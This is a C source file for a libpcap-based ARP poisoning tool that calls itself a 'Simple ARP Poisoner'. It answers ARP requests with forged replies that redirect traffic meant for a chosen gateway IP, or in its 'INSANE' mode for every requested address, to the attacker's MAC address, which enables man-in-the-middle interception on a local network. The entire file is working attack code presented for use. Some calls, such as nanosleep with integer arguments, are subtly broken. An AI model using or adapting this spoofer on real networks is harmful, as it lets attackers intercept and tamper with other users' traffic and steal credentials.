// arpp - simple poison for ARP
// does not flood because we want to be nice, right?

#include <pcap.h>
#include <stdio.h>
#include <assert.h>
#include <inttypes.h>
#include <errno.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>

// ARP protocol constants
#define ARP_PROTO     0x0806
#define IP_PROTO      0x0800

#define HW_ETHER      0x0001
#define HW_SIZE       0x06

#define PROTO_SIZE    0x04

// ARP opcode constants
#define ARP_REQUEST   0x0001
#define ARP_REPLY     0x0002
#define RARP_REQUEST  0x0003
#define RARP_REPLY    0x0004

// ethernet frame definition
struct ether_hdr
{
	uint8_t h_dest[6];
	uint8_t h_source[6];
	uint16_t h_proto;
};

// arp frame definition
struct arp_hdr
{
	uint16_t htype;
	uint16_t proto;
	uint8_t hsize;
	uint8_t psize;
	uint16_t opcode;
	uint8_t src_mac[6];
	uint8_t src_ip[4];
	uint8_t tgt_mac[6];
	uint8_t tgt_ip[4];
};

/*
 * Attack parameters
 */

// IP address to remap
uint8_t target_ip[4] = {192, 168, 0, 1};

// MAC address to reroute to (your machine)
uint8_t src_mac[6] = {0x00, 0x31, 0x33, 0x70, 0xbe, 0xef};

int reroute_all = 0;

pcap_t *ph;

void create_arp_packet(char *packet, uint8_t *tgt_mac, uint8_t *tgt_ip, uint8_t *src_ip)
{
	struct ether_hdr eth_frame;
	struct arp_hdr arp_frame;

	if (packet == NULL)
		return;

	memcpy(eth_frame.h_dest, tgt_mac, 6);
	memcpy(eth_frame.h_source, src_mac, 6);

	eth_frame.h_proto = htons(ARP_PROTO);
	
	arp_frame.htype = htons(HW_ETHER);
	arp_frame.proto = htons(IP_PROTO);
	arp_frame.hsize = HW_SIZE;
	arp_frame.psize = PROTO_SIZE;
	arp_frame.opcode = htons(ARP_REPLY);
	
	memcpy(arp_frame.src_mac, src_mac, 6);
	memcpy(arp_frame.src_ip, src_ip, 4);
	memcpy(arp_frame.tgt_mac, tgt_mac, 6);
	memcpy(arp_frame.tgt_ip, tgt_ip, 4);

	memcpy(packet, &eth_frame, sizeof(struct ether_hdr));
	memcpy(packet + sizeof(struct ether_hdr), &arp_frame, sizeof(struct arp_hdr));
}

void pkt_tasklet(u_char *useless, const struct pcap_pkthdr *pkt,
                 const u_char *packet)
{
	char *npacket;

	struct ether_hdr eth_src;
	struct arp_hdr arp_src;

	memcpy(&eth_src, packet, sizeof(struct ether_hdr));
	memcpy(&arp_src, packet + sizeof(struct ether_hdr), sizeof(struct arp_hdr));

	if (eth_src.h_proto != htons(ARP_PROTO)) {
		printf("[-] error: pcap_compile failed (arp proto)\n");

		return;
	}	

	if (arp_src.htype != htons(HW_ETHER)) {
		printf("[-] error: wrong hardware (hardware type)\n");

		return;
	}	

	if (arp_src.proto != htons(IP_PROTO)) {
		printf("[-] error: wrong ip proto (proto)\n");

		return;
	}

	if (arp_src.hsize != HW_SIZE || arp_src.psize != PROTO_SIZE) {
		printf("[-] error: pcap_compile failed (hsize, psize)\n");

		return;
	}

	if (arp_src.opcode != htons(ARP_REQUEST)) {
		printf("[-] not an ARP_REQUEST packet\n");

		return;
	}

	if (reroute_all == 1) {
		printf("(*) ARP_REQUEST packet is asking for who %i.%i.%i.%i is\n",
				 arp_src.tgt_ip[0], arp_src.tgt_ip[1], arp_src.tgt_ip[2], arp_src.tgt_ip[3]);

		npacket = (char *) malloc(sizeof(struct ether_hdr) + sizeof(struct arp_hdr));
		
		if (npacket == NULL) {
			printf("[-] error: failed to allocate space for packet\n");

			return;
		}

		create_arp_packet(npacket, arp_src.src_mac, arp_src.src_ip, arp_src.tgt_ip);

		pcap_inject(ph, npacket, sizeof(struct ether_hdr) + sizeof(struct arp_hdr));

		pcap_inject(ph, npacket, sizeof(struct ether_hdr) + sizeof(struct arp_hdr));
		pcap_inject(ph, npacket, sizeof(struct ether_hdr) + sizeof(struct arp_hdr));
		
		nanosleep(100000, 0);
		pcap_inject(ph, npacket, sizeof(struct ether_hdr) + sizeof(struct arp_hdr));
		pcap_inject(ph, npacket, sizeof(struct ether_hdr) + sizeof(struct arp_hdr));

		printf("(*) ARP_REPLY sent to %i.%i.%i.%i\n", 
				 arp_src.src_ip[0], arp_src.src_ip[1], arp_src.src_ip[2], arp_src.src_ip[3]);

		free(npacket);
	} else {
		if (arp_src.tgt_ip[0] == target_ip[0] && arp_src.tgt_ip[1] == target_ip[1] &&
    	    arp_src.tgt_ip[2] == target_ip[2] && arp_src.tgt_ip[3] == target_ip[3]) {
			printf("(*) ARP_REQUEST packet is asking for who %i.%i.%i.%i is\n",
				    arp_src.tgt_ip[0], arp_src.tgt_ip[1], arp_src.tgt_ip[2], arp_src.tgt_ip[3]);

			npacket = (char *) malloc(sizeof(struct ether_hdr) + sizeof(struct arp_hdr));
		
			if (npacket == NULL) {
				printf("[-] error: failed to allocate space for packet\n");

				return;
			}

			create_arp_packet(npacket, arp_src.src_mac, arp_src.src_ip, arp_src.tgt_ip);

			pcap_inject(ph, npacket, sizeof(struct ether_hdr) + sizeof(struct arp_hdr));
			pcap_inject(ph, npacket, sizeof(struct ether_hdr) + sizeof(struct arp_hdr));
			pcap_inject(ph, npacket, sizeof(struct ether_hdr) + sizeof(struct arp_hdr));
		
			nanosleep(2000000, 0);
			pcap_inject(ph, npacket, sizeof(struct ether_hdr) + sizeof(struct arp_hdr));
			pcap_inject(ph, npacket, sizeof(struct ether_hdr) + sizeof(struct arp_hdr));

			printf("(*) ARP_REPLY sent to %i.%i.%i.%i\n", 
				 	 arp_src.src_ip[0], arp_src.src_ip[1], arp_src.src_ip[2], arp_src.src_ip[3]);

			free(npacket);
		}
	}
}

int main(int argc, char **argv)
{
	int ret;

	char *dev;
	char errbuf[PCAP_ERRBUF_SIZE];
	char filter_exp[] = "arp";

	struct bpf_program fp;
	
	bpf_u_int32 mask;
	bpf_u_int32 net;

	printf("[+] Simple ARP Poisoner\n");

	if (argc == 2) {
		printf("[+] Mode: INSANE\n");

		reroute_all = 1;
	} else {
		printf("[+] Mode: TARGETED\n");
	}

	dev = pcap_lookupdev(errbuf);
	assert(dev != NULL);
	
	printf("\n");
	printf("[+] Listening device: %s\n", dev);

	ret = pcap_lookupnet(dev, &net, &mask, errbuf);
	assert(ret != 1);

	ph = pcap_open_live(dev, BUFSIZ, 1, -1, errbuf);
	assert(ph != NULL);
	
	ret = pcap_compile(ph, &fp, filter_exp, 0, net);
	assert(ret != -1);

	ret = pcap_setfilter(ph, &fp);
	assert(ret != -1);

	pcap_loop(ph, -1, pkt_tasklet, NULL);

	return 0;
}
